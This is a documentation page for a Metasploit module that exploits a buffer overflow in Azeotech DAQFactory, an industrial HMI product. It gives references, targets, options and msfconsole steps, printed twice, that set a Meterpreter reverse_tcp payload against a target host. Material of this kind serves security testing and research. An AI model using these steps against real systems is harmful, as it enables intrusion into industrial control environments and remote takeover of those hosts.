DaqFactory HMI NETB Request Overflow
This module exploits a stack buffer overflow in Azeotech's DaqFactory product. The specfic vulnerability is triggered when sending a specially crafted 'NETB' request to port 20034. Exploitation of this vulnerability may take a few seconds due to the use of egghunter. This vulnerability was one of the 14 releases discovered by researcher Luigi Auriemma.
Exploit Rank
- Good
Exploit Authors
- Luigi Auriemma < >
- mr_me < steventhomasseeley [at] gmail.com >
Vulnerability References
- CVE-2011-3492
- OSVDB-75496
- http://aluigi.altervista.org/adv/daqfactory_1-adv.txt
- http://www.us-cert.gov/control_systems/pdf/ICSA-11-264-01.pdf
Exploit Targets
- 0 - DAQFactory Pro 5.85 Build 1853 on Windows XP SP3 (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/scada/citect_scada_odbc
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/factorylink_csservice
- exploit/windows/scada/factorylink_vrn_09
- exploit/windows/scada/iconics_genbroker
- exploit/windows/scada/iconics_webhmi_setactivexguid
- exploit/windows/scada/igss9_igssdataserver_listall
- exploit/windows/scada/igss9_igssdataserver_rename
- exploit/windows/scada/igss9_misc
- exploit/windows/scada/moxa_mdmtool
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/daq_factory_bof
msf exploit(daq_factory_bof) > show payloads
msf exploit(daq_factory_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(daq_factory_bof) > set LHOST [MY IP ADDRESS]
msf exploit(daq_factory_bof) > set DHCP [STRING]
msf exploit(daq_factory_bof) > set RHOST [TARGET IP]
msf exploit(daq_factory_bof) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/daq_factory_bof
msf exploit(daq_factory_bof) > show payloads
msf exploit(daq_factory_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(daq_factory_bof) > set LHOST [MY IP ADDRESS]
msf exploit(daq_factory_bof) > set DHCP [STRING]
msf exploit(daq_factory_bof) > set RHOST [TARGET IP]
msf exploit(daq_factory_bof) > exploit
Exploit Module Options
| DHCP | The DHCP server IP of the target (default: ) |
| RHOST | The target address |
| RPORT | The target port (default: 20034) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
